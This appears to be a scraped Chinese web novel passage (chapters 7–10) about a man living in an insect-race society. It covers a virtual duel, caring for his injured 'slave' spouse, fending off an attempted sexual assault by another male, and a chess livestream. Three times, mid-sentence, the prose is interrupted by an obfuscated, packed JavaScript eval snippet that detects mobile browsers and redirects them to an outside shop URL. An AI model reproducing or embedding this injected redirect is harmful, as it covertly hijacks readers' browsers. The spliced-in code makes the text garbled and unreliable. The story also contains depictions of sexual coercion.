《直男穿进虫族后》 7. 我的这只雄虫 索涅这时候有点后悔进来之前没看看攻略,他完全不知道这乌泱泱的虫子们是在干嘛。 他们看起来像在围观比赛,可台上玉一样白净的地板分毫未脏,缠枝藤蔓纹路精致华美。上面伫立着三座顶端镶嵌巨大宝石的王座,背对着他,他看不清到底是谁。 当然,看清楚了他也大概率不认识。 他感觉这里挺没意思的,转身准备往外走,身后的门不知何时变成了一堵墙,推不动,打不开。 “……”这是强买强卖! 正在这时,周围忽然变暗,紧接着一柔和的白光打在决斗台最中央,通体玉石打造的台面自穹顶缓缓落下,阵阵靡颓将谢的浓郁花香弥漫在空气中。 虽然知道是虚拟的信息素,但不少虫子还是一脸陶醉。 索涅默默地揉了揉鼻子,甚至被熏得眼睛有点疼。 他感觉眼睛疼的时候,之前不知道隐匿到哪儿去的钴蓝面板突然显现,机械音毫无起伏:“检测到零点零五伤害,请及时服用补充剂。” 索涅没理,赶紧拨到外形那里给自己换了件衣服,他这一身黑在这里显眼得令人尴尬。 虽然进入决斗场后虚幻的钴蓝身体变为与现实无差的模样,但衣服还是光芒一闪就换好了,一身和场里虫子们差不多的白色训练服。 他把显示屏上下左右翻了个底朝天也没找到新手指引,不由吐槽这游戏对新人也太不友好了。 站在大后方纵观全场,索涅没找到一个空位。 他也不纠结,走出阴影找了个视野好的台阶席地而坐,反正虚拟世界也没灰,他不讲究。 他旁边就是两列靠边座位,虫子们的心神尽管都想在台上雄虫身上,还是忍不住纷纷对索涅投以注视。 索涅一一对视过去,眼神和姿势都无比坦然。 其他虫:“……”怎么感觉反而是他们比较不淡定。 深度决斗什么时候卖无座票了? “你是掉线找不到座位了吗?”他旁边离得近的雌虫忍不住问。 “我设备比较老。”索涅也没说是不是。 雌虫自动帮他把剩下的内容脑补全了,不由得面露同情:“那怎么办?决斗开始就不许换座了,座位上才有投票器。” 索涅面不改色:“我坐这儿就好,主要是想来观摩一下决斗,不投票也行。” 听到他这话的雌虫几乎都面露怪异,观摩雄虫的决斗? 不是他们看不起艾浮阁下,但这只雌虫竟然不是为了给阁下加油打气,而是为了观摩战斗? “你真幽默。”那只雌虫感叹道。 索涅:“?” “请圣子阁下进入准备状态,观众们切勿中途离席。”一道机械音响起。 索涅看到台上瘦了吧唧的虫子做出了战斗姿势。 一边做这个姿势,还一边忍不住捋了一下他的鲶鱼须刘海,冲着台下蜜汁微笑。 索涅:“……”他好像有点理解自己刚才有多招笑了。 随着决斗开始的鼓点沉闷响起,一面巨大的镜子从地面缓缓上升,最终矗立在那只虫子面前三米处。虫子似乎十分紧张,拳头悄悄地握紧。 最后一声沉重的鼓点落下,观众们连呼吸都跟着停滞,紧张地看着台上的雄虫殿下。 镜子骤然化作烟尘消散,一个身影渐渐浮现在台上。 光影交织的躯体在凝结完成的一瞬间消失在原地,下一秒犹如鬼魅般出现在艾浮背后,两根几乎透明的白色丝线悄无声息勒住他的脖子。 观众大气不敢喘。 虚拟精神丝瞬间收紧,却徒劳地杀死了一团烟雾。 身穿作战服的雄虫则是出现在对手的位置,手里握着两把又宽又长的光刃。 反手一招,对手的精神丝断成了两截。 哇喔。 索涅很没出息地在心里惊叹一声。 怎么做到的? 显然观众们也有些意外,勉力维持的静默瞬间被打破了,窃窃私语声霎时充满索涅的耳膜。 这群虫子怎么一惊一乍的。安静时鸦雀无声,嘈杂起来仿佛这辈子没说过话。 索涅听到他旁边的雌虫嘀嘀咕咕。 “不应该啊,艾浮阁下反应怎么这么快?” “艾浮?”索涅喃喃地重复。 记忆如同抽丝剥茧,他一下子想起来与这个名字相关的剧情。 他看的第一段,就是恩其顿王虫法门和梅尔加圣子艾浮的结婚典礼。 雌虫却仿佛找到了讨论对象,“你也是喜欢艾浮殿下才来看晋级赛的吧?原来殿下竟然这么深藏不露,不愧是圣子。” 索涅一副没见过世面的样子,“晋级赛?我以为是普通的比赛。” “怎么可能!”雌虫无语地翻了个大白眼,“你不是掉线而是串线了吧?全联盟都知道梅尔加王族的艾浮阁下是圣子之一,今天就要进行初级测试——” “——等下,你不会是通过什么黑科技偷渡进来的吧?”雌虫狐疑地盯着索涅。 索涅无比淡定,“我看起来有那个实力吗?” “……”雌虫上下打量了他几秒,“也是,你这土里土气的短发,一看就是乡下来的。” 索涅:“?” 这就有点地图炮了。 艾浮和虚拟对手交手几十个回合,他似乎只是在练手,漫不经心地取得了胜利,又对着台下露出迷之微笑。 索涅:“……”谁家油桶打翻了。 “恭祝艾浮殿下一次性通过晋级赛!成为继费伦斯殿下以来达到这一成就的第二位圣子!”机械音情绪高昂地宣布。 虫子们纷纷站起来尖叫着,一浪高过一浪的欢呼声震得索涅有点头晕,他也跟着从地上站起来,敷衍地鼓着掌。 头怎么会突然这么疼? 虚拟花瓣彩带飘落全场,携带着艾浮地信息素,刺激得雌虫们愈加疯狂。 索涅勉强睁大眼看着振臂欢呼的虫子们,捂住了耳朵。 好吵啊。 世界逐渐天旋地转,手上一道道钴蓝色流光交织闪烁,一部分手掌甚至直接消失,然后又显现,仿佛信号不良似的。 这是怎么了? 没等他想明白,一阵头皮被拉扯的感觉传来,索涅眼前一黑。 仿佛过了很久,又仿佛才三四秒,他再次睁眼,就看到了家里明亮的灯光,前额和太阳穴有种被抽空的感觉。 他正躺在床上,赫尔辛斯跪坐在床边,额头有些晶亮汗迹。他的头发垂下一缕搭在索涅手背上。 看到他醒来,雌虫似乎松了一口气,手刚从索涅额头离开。 “您应该注意时间的,或者,至少让我在您身边。”他声音轻缓地抱怨。 “……我这是,怎么了?”额角实在胀痛,索涅忍不住伸手按揉。 “深度决斗是很消耗精神力的元游戏,”赫尔辛斯见他难受,伸手搭上索涅的太阳穴,他按摩的力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464229|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度十分舒适,“一般A级精神力也只能待三十分钟,每一场比赛限时十五分钟,您已经在里面待了十八分钟了。” “时间太长会榨干精神力,”雌虫看了他一眼,“最后变成傻子的虫也很多。” 索涅瞬间后背汗毛乍起,他可只是个E级! “赫尔辛斯,谢谢你。”他心有余悸,也知道是雌虫把他从游戏仓里弄出来的。 头痛很快缓解,他一下子从床上弹了起来。赫尔辛斯的手没来得及收回,划过他的鼻骨和唇角,不过他一点也没在意,而是焦急地把雌虫捞上床,撩起裤腿。 赫尔辛斯垂下眼,看着自己的指尖。 “……又红了。”索涅轻轻点了一下他的膝盖。 这里本来就因为长时间的弯曲禁锢而肿胀青紫,前几天好不容易消了一些肿,这会儿又泛红了,还在发烫。 “把我扔在地上就行了。”他说,“这么卖力,你难道不想快点好吗?” “……想。”雌虫说。 “想就对自己好点儿,你看,这里也发红了……”他絮絮叨叨地说着。 赫尔辛斯不再说话,沉默地看着雄虫的眼睛。 他注意到里面有一点柔软的,弥足珍贵的东西。 这只雄虫在心疼他。 可能雄虫自己也没察觉到,也可能富有而慷慨的雄虫压根不在乎这点善意。 但赫尔辛斯在乎。 救命之恩上面在一天天累积更多的东西,它们通通压在赫尔辛斯的心脏上,然而他却丝毫不觉得沉重。 只是不知不觉地笑起来,提醒正唠叨他的雄虫,“您在星网买的东西已经送来了,要去看看吗?” 索涅诧异:“这么快?” 赫尔辛斯面色不变,一一为他解释,“您买的都是比较昂贵的物品,账号又是雄虫,有专属的配送服务。” 索涅心大,完全没有意识到自己已经露出了很多马脚。 “走!看看你的衣服!”他翻身下床,一把抱起雌虫放到轮椅上。 “……给,我的?”赫尔辛斯完全没想过。 怎么会有雄虫给雌奴买衣服?何况重伤在身,他连一分钱都没有交给雄虫。 但他的这只就是这么做了。 他告诫自己警惕这是糖衣炮弹,但糖衣毕竟是甜的,雄虫大方地给予,身为雌奴,赫尔辛斯无法不去品尝。 索涅兴冲冲地拆开包裹,掏出一个巨大的礼品盒,拆开大礼品盒后又是一堆小礼品盒。 “这包的也太严实了。”他随手打开一个,一顿,然后立刻合上塞到赫尔辛斯怀里。 赫尔辛斯打开一看,四角裤。 抬头看过去,雄虫果然正假装平静地抿着唇喝水,眼瞳偷偷地往他这里转。 赫尔辛斯唇角上扬:“这是您挑的吗?” 索涅正懊恼自己手贱什么,“咳,应该是赠送的。” “可是万一尺码不对怎么办呢?”赫尔辛斯状似苦恼地说。 “不可能,你试试就知道了。”索涅还是相信自己的眼光的,把所有衣服都拆出来塞给赫尔辛斯。 “要是不喜欢不好看,咱们明天去外面逛逛,” 赫尔辛斯露出一抹明显的笑,“仰仗您的幸运,一定会合身的。” 他去试衣服了。 索涅坐到沙发上等待时还在琢磨赫尔辛斯的话,后知后觉地品出一点意味。。 虫虫调戏人的方式也太含蓄了。 8. 如您所愿 赫尔辛斯从七件衣服里挑了一件衬衣一条长裤,穿好后在镜子前照了照,才出去给索涅看。 他的长发在身后绑起,羽睫长而微翘,毛发颜色比肤色要浅得多,虽然穿得正经,看来却有种清冷和靡艳杂糅感。 “哇哦!”索涅围着他走了一圈,“好标致的虫虫。” 赫尔辛斯耳朵顿时就红了,“虫……虫虫?” “您怎么……”他抿了抿唇,脸颊也渐渐上色了,“……用这样的词。” 索涅挑眉,“不能用吗?我觉得很可爱啊。” “你穿这一身还真不错,不过现在是在家里,要不要去换一套舒服点的。” “这个,不好看吗?”雌虫扯了扯衣袖,一寸寸捋平整。 “漂亮,帅得爆炸了,”索涅说,“你是不是比较喜欢正装?” 赫尔辛斯没有想过这个问题,“可能是习惯而已。” 索涅也想起了赫尔辛斯的身份,不禁对他的过往产生了一丝好奇,然而他也没有问。 “晚饭我点外卖吧,你想吃点儿什么?”索涅坐在沙发上,让赫尔辛斯过来,“今天不知道为什么特别饿,就是这附近没什么好吃的,都是干巴巴的烤肉和糊糊菜。” 赫尔辛斯情不自禁蹙起眉,“您是因为超额使用精神力,身体营养素转化为精神力能量,才会导致消耗过大,饥饿感增强。应该多吃一些有营养的补品。” 他话音平静,但索涅硬是听出了一丝温柔的谴责,他有点尴尬,“我下次一定注意。” “如果您愿意,我可以在您身边监护,随时照顾您。”赫尔辛斯说,“这正是雌奴的职责。” 索涅有点笑不出来了。 “赫尔辛斯,虽然等我还完款,我们才会解除婚姻关系,但我们现在就可以做朋友,咱俩也挺投缘,说不定会成为知己呢。”他说。 赫尔辛斯看着他,重复:“朋友?” 索涅点点头。 “知己?” 索涅目光期待。 雌虫紧紧地盯着他的眼睛,复杂的情绪在心底翻涌又平息。他已经不敢轻易地做出一个决定,然而此时,他的心在蠢蠢欲动。 半晌,俯身将额头贴在索涅手背上,“谨遵您的吩咐。” 他低头的样子像垂悯世间的天神,但垂悯的唯有他索涅一人罢了。 与雌虫相接触的皮肤仿佛遇到火山熔岩,滚烫的感觉从手背一路烧到心脏。 索涅“嗖”地抽回自己的手,赫尔辛斯从善如流地抬身。 雄虫的轮廓还带着稚嫩青涩,这样坐立难安双耳通红的样子有些可爱。 他不禁弯起眼,“如果您不喜欢那些食物,或许可以采购一些食材,以后由我为您准备。” 索涅的手指跟得了帕金森似的,刚才被雌虫贴过的地方分外有存在感,他总忍不住想去摸一摸看一看,然而雌虫就在旁边看着,他干不出来这种事。 雌虫说完给他做饭,索涅当即顺坡下驴跳过这个贴贴,“不行,你还没好,我没有压榨病号的兴趣。” 赫尔辛斯低下眉目,“可是您不喜欢外面的食物。” “我没那么娇气,”索涅说,看到赫尔辛斯的神色又忍不住安慰,“我等着你病好,以后有很多时间,我虽然手艺不行,但可以给你打下手。” 赫尔辛斯眉头一跳,“打下手?” 雄虫? 进厨房? 给雌奴打下手? “对啊。”索涅撩起袖子,看到自己白斩鸡一样的手臂又尴尬地放下去,“先想想今晚吃什么吧。” “你想吃卷饼还是汤饭,”索涅调出外卖页面,有点生无可恋,“还是卷饼加汤饭?” 这些饭都是超大分量,一般专门卖给单身雌虫的。雄虫要么去高档餐厅,要么有一大堆雌虫抢着给他做饭。 “……要不还是吃营养液吧,您需要更全面的营养素。”赫尔辛斯看着这些粗糙的食物,沉默半晌后提议。 “好主意。”索涅深以为然。 索涅拿出之前剩的和今天刚买的营养液,“这两种有什么区别吗?包装怎么长的一模一样。” 赫尔辛斯接过一只看了看,“贵一些的营养液会更好消化,口味也会有提升。” 索涅撕开一只叼进嘴里嘬了一口,“是有点甜甜的,你喜欢这个味道吗?” 没等赫尔辛斯回答,他从冰箱里又拿出几只摆在雌虫面前,“你挑一个。” “您对我这么好……”雌虫垂下眼睫,“我无以为报……” 他纤长睫羽在下眼睑投出淡淡的阴影,挺直的鼻骨在低头时遮住嫣红的唇瓣,神情不显得驯服亦或温和,反而透露出一抹凌厉锋锐的美。 索涅笑得有些得意,“这就算对你好了?以后你不得爱上我?” 雌虫抬头望向他,灯光落进他眼里,在苍金色眼眸一抹明亮璀璨的光辉。 索涅闭嘴了,讪讪地摸了摸鼻子。 “我有时候嘴贱,你别往心里去。”他解释说。 赫尔辛斯低头拿起一只营养剂,没有说话。 索涅正不自在,反思自己是不是把虫虫惹毛了的时候,听到赫尔辛斯转动轮椅的声音。 “我明白,您不喜欢雌虫。”赫尔辛斯轻声说。 这就是他对赫尔辛斯说的话,可是此时此刻从雌虫嘴里复述出来,索涅就是感觉味儿不对了。 “……喜不喜欢的也不重要,我们已经是朋友了。”他意识到了有些尴尬的气氛。 赫尔辛斯的长发就在他大腿边,颜色漂亮得像某种神话故事里神的发丝。 “是的,如您所愿。”雌虫说。 索涅探究地看着他,但雌虫喝完营养液就背过身,他看不到他的神情了。 “一只能吃饱吗?” “一整只是雌虫的份量,您全部吃完可能会有点撑。”赫尔辛斯说。 索涅听他语气正常,心里也就松了口气,暗骂自己这不把门的破嘴。 这可是雌虫!不是男人!按道理,他和赫尔辛斯是异性来着。 “是有点撑,怪不得我一整天都不会饿。”他嘀咕道。 雌虫似乎笑了一下。 索涅推着赫尔辛斯走进他的卧室,“你刚才进来也看到了,这个房间面积不大,但好在坐北朝南。” “试试吧。”他把雌虫挪到床上,“软硬怎么样?你的腰和腿可不能再受伤了。” “很舒服,谢谢您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464230|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”赫尔辛斯手心按在床上,微微下陷的感觉让他目光一顿。 好软。 他其实更习惯睡硬床,太软的床铺不利于精准作息。 “明天带你去剪头发,然后去商场买几袋蔬菜种子,还要先犁荒地……”索涅掰着手指头数明天要做的事。 雌虫就那么一副表情看着他。 索涅有点不自在,“你看我干什么。”还用这副……爸爸看儿子的表情。 “还是让我来吧,我的腿已经可以走路了,也需要多锻炼才能恢复更快。”赫尔辛斯试图晓之以理。 “不行,”索涅无情拒绝,“你要是想锻炼可以慢慢地散散步,咱们家周围空间那么大,你非要进菜园子?锄地和练腿有关系吗?” 雌虫低下头,模样倔强极了。 “我想为您做一些事,而不是一切都劳烦您。”他说。 “……”索涅无言以对,他能理解这种人在屋檐下的局促。 赫尔辛斯曾经还是金字塔尖的地位,现在和一只劣等雄虫挤在边缘星,身体还重伤未愈…… “你已经做了,”索涅想了想,“你及时切断了我和游戏仓的联系,忘了吗?” “以后会有很多机会的,我其实懒得很,又是个话痨,你别烦我就好。”他笑起来,不知道自己脸颊上还有点婴儿肥。 索涅是完全忘了他才刚成年,赫尔辛斯一直都记得这件事,因为雄虫的模样实在是太稚嫩了。 赫尔辛斯也见过长得不错的雄虫,高阶雄虫往往会出现某些与雌虫类似的特质,比如优越的外貌,高挑的身形,但随着实验室雄虫越来越大众化,这种经验已经不适合评判高阶雄虫。 尤其在边缘星球,雄虫们反而普遍长得还不错,因为都是联盟实验室为了稳定低级雌虫而定点投放的实验室雄虫。 索涅与实验室雄虫的特质完全吻合。 雄虫离开后,赫尔辛斯完全没有困意,目光虚无地落在房间内,靠坐在床上一动不动。 雌奴。 重伤。 边缘星球。 一只奇怪的雄虫。 赫尔辛斯揉了揉额角,他的精神力越来越狂暴了,再这样下去恐怕很快就会暴露出他最大的缺点。 虽然经过多次试探,雄虫的性格很平和,的确就像刚开始说的那样,对方试图将他们的关系定格在朋友上。 赫尔辛斯不明白,出于以往对雄虫的了解,要是雄虫只喜欢亚雌,那他这只雌虫迎来的应该是更深重的惩戒才对。 并且雄虫们依旧会选择和雌虫生很多蛋,因为只有雌虫才能孕育强大的虫蛋和更多的雄虫。 那么,索涅是坚定地只能接受亚雌,连和雌虫生蛋都不愿意? 如果雄虫的承诺是认真的,那么对于他来说完全是一件好事。 但是雄虫的承诺就如同盛开在夜空中的烟花,眨眼就化为烟尘无影无踪。 赫尔辛斯见识过。 他不想相信这只雄虫。 但深渊茧房或许彻底销毁了他的意志,区区两天而已,他竟然已经想去沉溺。 他疲惫地意识到,无穷无尽的糖衣炮弹正瞄准他的眉心,而他不确定自己能否抵挡这种致命的诱惑。 9. 我很贪婪 “嗙!” 一声连泥带水的巨响钻进耳朵,似乎有很多东西被一起扔在地上。 索涅一个激灵睁开眼睛,从床上坐起来,发现早已经天光大亮,灿烂的阳光从窗帘缝隙洒在他的脚上。 声音的来源似乎是在院子里。 他伸手拉开窗帘,瞳孔一缩,连忙从床上爬起来套上衣服跑下楼。 “贱奴!谁给你的狗胆!”穿红色长袍的虫子怒骂着,抬脚踹在面前的雌虫腿上。 赫尔辛斯只是牵紧眉头,闷不吭声地承受住这一脚。 他早知道会有这么一遭。 雄虫第一次收雌奴,雄保会都会专门过来指导雄虫调|教,并检测雌奴的安全性。 “见到雄虫竟然还敢坐着!看来得给你好好立立规矩。”雄虫冷笑着,表情带着一丝兴奋,向后招手,“把东西放下。” 他身后一只雌虫闻言上前,将怀里抱着的一个箱子扔在赫尔辛斯面前,巨大的响声震得窗棂都在颤抖。 “果然是没见过世面的虫崽子,连罪雌都不知道教训,”雄虫冷笑一声,“腿断了就在地上爬,雌奴怎么配坐轮椅!” 他身后的雌虫立刻上前抓住赫尔辛斯的胳膊,把他从轮椅上扯了下来,一脚踹在他膝弯,赫尔辛斯脸色一白,控制不住地跌倒在地。 “按住他。” 雄虫拿起一串粗大的珠链,足足十一颗珠子,最大的有拳头那么大,兴致勃勃地踩住赫尔辛斯的裤脚。 “长得倒是不错……” 狰狞的珠链贴上赫尔辛斯的小腿,雄虫凑到他面前一下一下地晃着手里的东西,嘴角露出狞笑。 “把你送到地下交易所,应该能卖不少钱,你猜如果我说你很值钱,他会不会把你卖给我?” 雄虫碰到他的裤子时,赫尔辛斯手掌悄无声息地握紧。 忍一时可以,如果要受这种侮辱,他宁愿鱼死网破。 雄虫的手伸向他的裤腰,赫尔辛斯颌骨霎时绷紧,眼神冷锐如剑,右手眨眼间挣脱钳制,直奔雄虫的脖子! 几乎刹那之间,一道影子从后窜出,伸出的一只手迅速截断他的拳头,柔软温热的掌心擦过赫尔辛斯的冰凉紧绷的手背。 “啪!” 一巴掌狠狠地扇在那只雄虫的脸上,肥脸上霎时出现一个涨红的巴掌印。 索涅有点嫌弃自己的手,在睡衣下摆上擦了擦,伸手把赫尔辛斯拉起来,“不知道叫我?都被欺负成包子了。” 赫尔辛斯低眉垂目,踮着脚被雄虫搂住腰,索涅握住他的手,摸到一把湿漉漉。 他将雌虫的手放在自己衣袖上,缓缓地蹭掉潮湿的汗迹。 “你!你敢打我!”雄虫捂着脸不可置信。 索涅将赫尔辛斯放回轮椅上,挡在他身前,居高临下地看着这只虫子,黑白分明的眼睛平静如冰,“怎么能是打呢,我的雌虫比较凶,刚才差点就揍得你满地找牙了,你应该感谢我救你。” 被雌虫揍和被雄虫扇一巴掌可不是一个量级的,那只雄虫忍不住打了一个哆嗦,旋即叫嚣:“那你更应该管管你的雌奴!竟然敢打雄虫!干脆送到管教所好好调|教!不然早晚有一天杀了你!” 说实话,这事儿索涅还真不是没担心过。 但话又说回来,牡丹花下死,做鬼也风流。赫尔辛斯那漂亮的手指,掐人的时候肯定很优雅。 “我这可不是雌奴,”索涅一副昏庸的语气,“地位和雌君是完全一样的,不用你们管。” “莫……莫有着样的规定……”对面的雄虫腮帮子肿起,开始口齿不清。 “他是雌奴,那他一切都要听我的,我说他是雌君他就是雌君。”索涅说。 “我要吃饭了,慢走不送。”他缓缓地舒展手指,修长的指骨在雄虫的面前曲起,发出一声脆响。 雄虫脑袋一缩,不甘心看了眼那只雌奴,他就是听说来了一只很漂亮的新雌奴,才赶紧过来抢第一手的。 “把你们这些恶心的玩意儿也带走。”索涅侧身挡住他的目光,指着地上的箱子一字一句。 那只雄虫意识到今天已经不可能得手,而且还被打了一巴掌,简直丢了大脸。 “我不会放过你的!” 他放了一句狠话,灰溜溜地收拾好东西走了。 索涅关上门,转过身看着一直在他背后戳他裤腰的雌虫。 “干嘛?手痒啊?”他没好气地问。 赫尔辛斯衣裤有些凌乱,腿上还有一块灰印子,发尾更是沾满了灰尘。 “谢谢您。”他拉过索涅的左手,俯下身用额头贴上手背。 雌虫温凉的指尖抵着他的手心,索涅抽了抽手,没抽出来。 雌虫用了力气,似乎是情绪激烈。 他心里叹了口气,也没有再动,任由赫尔辛斯贴着他的手。 他觉得这像是一种撒娇,但心里也知道不过是某些礼仪罢了。 “赫尔辛斯,我还没跟你算账,”想起刚才看到的那一幕,索涅脸都绿了,“你知道如果我没醒,你就会因为打了雄虫被送上法庭再进监狱吗?” 赫尔辛斯抬起身,他原本不该和一只雄虫解释这些的。 “不,我会死。” “我已经伤害过一次雄虫,第二次,我会直接被判死刑。”他平静地说。 “您觉得,我的身体可以被别的雄虫打开,塞进那些东西吗?”他又问。 “不行!”索涅情不自禁地揉了揉耳朵,什么叫别的雄虫,搞得好像他索涅就可以似的,他看起来像个变态吗? 看到那东西他就浑身起鸡皮疙瘩,雌虫的外面看起来和男人一样,也就是说那种拳头大的东西要塞进……那里? “那玩意儿会让你变成死虫虫,以后你要是想嫁给谁,一定要提前说好,绝对不可以用那种东西!”他严肃地说。 赫尔辛斯垂下眼,放开了他的手。 “是,我会记得的。”良久,他轻轻地说。 “所以你才应该叫醒我,我虽然是劣等,但在这里还勉强够用。”索涅说。 索涅看着他,还是有点别扭,“赫尔辛斯。” “你一定要嫁给一只雄虫吗?”他有点不愿意这只虫虫卑躬屈膝。 他缓缓地推着轮椅。 “如果不是恩其顿,也没有上战场,或许我可以忍得住。”赫尔辛斯看着地上交错的影子,“但现在,如果没有精神梳理,我两三年后必死无疑。” 索涅悚然一惊,“两三年?” 赫尔辛斯猜测他应该是不知道的,他也不打算和雄虫解释,免得打击雄虫。 “一种昂贵的疗愈,只要嫁给雄虫就好了,您不用担心。”他弯起眼,随意地说着谎话。 索涅半信半疑,他依稀对这个词有点印象。 “有多贵?”他追问,还以为这需要钱来买。 他有些沮丧,他没钱。 赫尔辛斯笑了,“您不用担心,等我之后嫁给雄虫,他会给我的。” 索涅联想到了某些亲密的事,手指握紧轮椅扶手,“哦。” 赫尔辛斯的小腿被那死虫子踢了一脚,索涅撩起他的裤腿,果然,粉白的皮肤上一块红印子。 “一小时就会消失,您不用为我担心。”雄虫蹲在他身前,赫尔辛斯看到雄虫蓬松的发顶。 “我应该再给他一脚的。”索涅心有不忿,虫族的社会制度实在太欺负人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464231|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “他是不是碰到了你的裤子?” “没有,您很及时地赶走了他。”赫尔辛斯说,“如果不是您,可能……” 他这会儿已经在被送往法庭的路上。 “如果离开您,我会不甘心的。”他勾起唇,“您或许不该对我这么好,我很贪婪。” “……虫族这么大,比我好的虫子多的是。”索涅顿了一会儿才说。 赫尔辛斯笑着,没有和他争论。 没有意义。 他不是索涅想要的亚雌。 他们各自换了身衣服,索涅给赫尔辛斯的腿上了点药,推着雌虫慢悠悠地出门了。 他挺爱玩赫尔辛斯的头发,给顺滑的发丝变成一条松垮的辫子,绑上墨绿色丝带垂在雌虫胸前。 雄虫推着雌虫走,在街上很是拉风。 索涅买了一个冰淇淋让雌虫抱着吃,在商场里转了一圈又一圈,最终在导购的介绍下才买齐所有东西。 虫族网购发达,不仅能买到本星球物品,还能买到通过星舰运输过来的其他星球特产,不过非常昂贵,本星球土著也非常喜欢逛街。 雌虫的头发被修剪到接近大腿根,看起来很是飒爽,索涅依稀窥见雌虫以往的风采。 晚上索涅给他们煮了碗西红柿鸡蛋面,赫尔辛斯全程在厨房外来来回回,似乎非常不放心,神色别扭极了。 “行了,别纠结了,”索涅端着两碗面出来,“来尝尝我唯一会做的东西。” 西红柿鸡蛋面这种东西很难变难吃,赫尔辛斯捧宝贝似的双手端着,有点无从下口。 索涅也是才知道他没有见过面条这种东西。 “也对,虫族疆域那么大,”索涅见怪不怪了,把叉子塞进他手里,“用这个,整碗都可以吃。” 赫尔辛斯小心地叉起一根面塞进嘴里,眼睛一亮,“甜的。” 索涅心里犯嘀咕,吃了一口,果然泛甜,他严重怀疑是番茄的问题。不过看赫尔辛斯这么喜欢甜味,倒是可以给他当水果吃。 吃完超大一碗,雌虫放下叉子,双手揣在小腹处,等着索涅吃完他好洗碗。 他这模样莫名地可爱,索涅忍不住勾起唇。 当着雌虫的面把餐具收拾好,那副表情让索涅忍不住笑意,“怎么苦大仇深的。” “您戏弄我。”雌虫说。 索涅挑眉,被发现了呢。 消耗掉的精神力一时回复不过来,这也是劣等雄虫的一大缺点,索涅只得打开直播间玩玩页面上不需要精神力的游戏。 “啊!” 索涅又赢了对面头像是一颗西红柿的家伙,他的棋子把对方的国王包围了,王后躲在一旁瑟瑟发抖。 国王选择以身殉国,“嘎嘣”一下把自己的头拧了下来。 索涅:“……”不管多少次这一幕都感觉很喜感。 雄虫的直播间虫子一向都很多,尤其难得看到雄虫玩三角棋。 [又赢了] [少见多怪] [这位阁下一个小时已经杀到前五百了] [雄虫玩家一共可是有十多亿!] [他杀的好像是总榜,不是雄虫分榜] [……我嘞个乖乖] 索涅没什么心思看弹幕,他整晚都心不在焉,思考着一个问题。 精神梳理到底是什么? 他去搜了一些解释,可跳出来的集体都是动作描写,好辣眼的那种。难道精神梳理就是doi?可是又关精神什么事? 楼下,赫尔辛斯看着光屏上大大的“失败”,抿起唇把西红柿头像换成了灰色背景,三秒之后又换了回来。 雄虫怎么这么厉害。 10. 初吻没了! 索涅又玩了两局,西红柿跟他说要加好友,观众顿时激动起来了。 索涅琢磨半天才找到私聊频道,发过去一句“不加。” 他不下棋了,观众反而开始变多。 [阁下为什么不加] [声音真好听] [阁下应该是有很多雌虫了,不需要了吧] [多一个不多] [没关系兄弟,加油,雄虫都是要靠追的] 索涅看到观众胡乱猜测,还是给自己解释了一句,“我没有雌虫。” 他顿了一下,“不过我认识一只很可爱很漂亮的虫虫,希望他能找到好雄虫。” [阁下不会是有只雌虫弟弟吧?] [在线为弟招夫] [虫虫~] [不行了,我要被这称呼甜死了] [阁下请看看我,给您发了私信,我名下有好几个星球的产业] 西红柿突然连环炮似的发过来好几条好友申请,也不说话,一个劲儿地给索涅点赞。 索涅无奈,最终还是通过了,这是他第一个星网好友。 [蓝色行星:你好,有什么事吗? 西红柿:您好。 西红柿:您的棋下得真好,可以教教我吗? 蓝色行星:不好意思我也是现学,教不了你。] 赫尔辛斯看着雄虫的话陷入沉思。 怎么和现实里不一样?雄虫好像变冷漠了。 同时,索涅关掉了直播,重新投出光屏翻阅精神梳理的信息。 虫族真是开放,星网上当初都是性有关的视频文字,他无比熟练地跳过,连眼神都欠奉。 他对两个男人的血腥运动不感兴趣。 一目十行看下来,翻了几十页才找到一个只有五百个浏览量的帖子。 “幼稚园级别的知识:雌虫为什么需要精神梳理?” 索涅一囧,怪不得大家都仿佛默认精神梳理是个常识,原来幼儿园就会讲? 他点进去,被一张两个男人串在一起的广告瞬间震慑。索涅肃然起敬,迅速叉掉广告,回忆赫尔辛斯的脸蛋给自己洗眼睛。 怎么走到哪里都是男男色|情信息?这叫一个直男怎么活? 虽然广告垃圾,但这篇帖子内容还是不错的,索涅成功找到了他想要的一部分信息。 